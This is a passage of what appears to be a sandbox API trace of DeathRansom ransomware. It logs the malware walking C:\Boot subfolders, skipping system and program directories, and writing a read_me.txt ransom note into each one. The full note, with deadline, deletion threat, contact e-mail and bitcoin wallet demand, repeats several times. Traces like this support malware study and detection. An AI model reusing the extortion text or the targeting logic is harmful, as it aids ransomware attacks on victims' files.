05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0077.671] WriteFile (in: hFile=0x7b8, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f30c, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f30c*=0x6b3, lpOverlapped=0x0) returned 1 [0077.672] CloseHandle (hObject=0x7b8) returned 1 [0077.672] GetProcessHeap () returned 0x540000 [0077.672] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4170060 | out: hHeap=0x540000) returned 1 [0077.672] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0077.672] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nl-NL") returned 17 [0077.672] lstrcmpW (lpString1="nl-NL", lpString2="..") returned 1 [0077.672] lstrcmpW (lpString1="nl-NL", lpString2=".") returned 1 [0077.672] StrStrW (lpFirst="nl-nl", lpSrch="programdata") returned 0x0 [0077.672] StrStrW (lpFirst="nl-nl", lpSrch="$recycle.bin") returned 0x0 [0077.672] StrStrW (lpFirst="nl-nl", lpSrch="program files") returned 0x0 [0077.672] StrStrW (lpFirst="nl-nl", lpSrch="windows") returned 0x0 [0077.672] StrStrW (lpFirst="nl-nl", lpSrch="all users") returned 0x0 [0077.672] StrStrW (lpFirst="nl-nl", lpSrch="appdata") returned 0x0 [0077.672] GetProcessHeap () returned 0x540000 [0077.672] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4170060 [0077.672] lstrcpyW (in: lpString1=0x4170060, lpString2="\\\\?\\C:\\Boot\\nl-NL" | out: lpString1="\\\\?\\C:\\Boot\\nl-NL") returned="\\\\?\\C:\\Boot\\nl-NL" [0077.672] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 16 [0077.673] QueueUserWorkItem (Function=0x40a710, Context=0x4170060, Flags=0x0) returned 1 [0077.674] GetProcessHeap () returned 0x540000 [0077.674] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4170060 [0077.674] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\nl-NL\\*") returned 19 [0077.674] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nl-NL\\*", lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.674] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nl-NL\\.") returned 19 [0077.674] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.674] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.674] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0077.674] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nl-NL\\..") returned 20 [0077.674] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.674] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.674] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 33 [0077.674] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.674] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.674] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\nl-NL\\read_me.txt") returned 29 [0077.674] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\read_me.txt" (normalized: "c:\\boot\\nl-nl\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b8 [0077.675] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0077.675] WriteFile (in: hFile=0x7b8, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f30c, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f30c*=0x6b3, lpOverlapped=0x0) returned 1 [0077.675] CloseHandle (hObject=0x7b8) returned 1 [0077.676] GetProcessHeap () returned 0x540000 [0077.676] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4170060 | out: hHeap=0x540000) returned 1 [0077.676] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0077.676] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pl-PL") returned 17 [0077.676] lstrcmpW (lpString1="pl-PL", lpString2="..") returned 1 [0077.676] lstrcmpW (lpString1="pl-PL", lpString2=".") returned 1 [0077.676] StrStrW (lpFirst="pl-pl", lpSrch="programdata") returned 0x0 [0077.676] StrStrW (lpFirst="pl-pl", lpSrch="$recycle.bin") returned 0x0 [0077.676] StrStrW (lpFirst="pl-pl", lpSrch="program files") returned 0x0 [0077.676] StrStrW (lpFirst="pl-pl", lpSrch="windows") returned 0x0 [0077.676] StrStrW (lpFirst="pl-pl", lpSrch="all users") returned 0x0 [0077.676] StrStrW (lpFirst="pl-pl", lpSrch="appdata") returned 0x0 [0077.676] GetProcessHeap () returned 0x540000 [0077.676] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4170060 [0077.676] lstrcpyW (in: lpString1=0x4170060, lpString2="\\\\?\\C:\\Boot\\pl-PL" | out: lpString1="\\\\?\\C:\\Boot\\pl-PL") returned="\\\\?\\C:\\Boot\\pl-PL" [0077.676] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 17 [0077.676] QueueUserWorkItem (Function=0x40a710, Context=0x4170060, Flags=0x0) returned 1 [0077.678] GetProcessHeap () returned 0x540000 [0077.678] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4170060 [0077.678] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\pl-PL\\*") returned 19 [0077.678] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pl-PL\\*", lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.678] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pl-PL\\.") returned 19 [0077.678] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.678] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.678] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0077.678] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pl-PL\\..") returned 20 [0077.678] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.678] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.678] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 33 [0077.678] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.678] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.678] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\pl-PL\\read_me.txt") returned 29 [0077.678] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\read_me.txt" (normalized: "c:\\boot\\pl-pl\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b8 [0077.679] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0077.679] WriteFile (in: hFile=0x7b8, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f30c, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f30c*=0x6b3, lpOverlapped=0x0) returned 1 [0077.679] CloseHandle (hObject=0x7b8) returned 1 [0077.680] GetProcessHeap () returned 0x540000 [0077.680] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4170060 | out: hHeap=0x540000) returned 1 [0077.680] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0077.680] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-BR") returned 17 [0077.680] lstrcmpW (lpString1="pt-BR", lpString2="..") returned 1 [0077.680] lstrcmpW (lpString1="pt-BR", lpString2=".") returned 1 [0077.680] StrStrW (lpFirst="pt-br", lpSrch="programdata") returned 0x0 [0077.680] StrStrW (lpFirst="pt-br", lpSrch="$recycle.bin") returned 0x0 [0077.680] StrStrW (lpFirst="pt-br", lpSrch="program files") returned 0x0 [0077.680] StrStrW (lpFirst="pt-br", lpSrch="windows") returned 0x0 [0077.680] StrStrW (lpFirst="pt-br", lpSrch="all users") returned 0x0 [0077.680] StrStrW (lpFirst="pt-br", lpSrch="appdata") returned 0x0 [0077.680] GetProcessHeap () returned 0x540000 [0077.680] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4170060 [0077.680] lstrcpyW (in: lpString1=0x4170060, lpString2="\\\\?\\C:\\Boot\\pt-BR" | out: lpString1="\\\\?\\C:\\Boot\\pt-BR") returned="\\\\?\\C:\\Boot\\pt-BR" [0077.680] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 18 [0077.680] QueueUserWorkItem (Function=0x40a710, Context=0x4170060, Flags=0x0) returned 1 [0077.681] GetProcessHeap () returned 0x540000 [0077.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4170060 [0077.681] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\pt-BR\\*") returned 19 [0077.681] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-BR\\*", lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.681] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-BR\\.") returned 19 [0077.681] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.681] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.681] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0077.682] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-BR\\..") returned 20 [0077.682] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.682] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.682] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 33 [0077.682] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.682] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.682] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\pt-BR\\read_me.txt") returned 29 [0077.682] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\read_me.txt" (normalized: "c:\\boot\\pt-br\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b8 [0077.682] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and 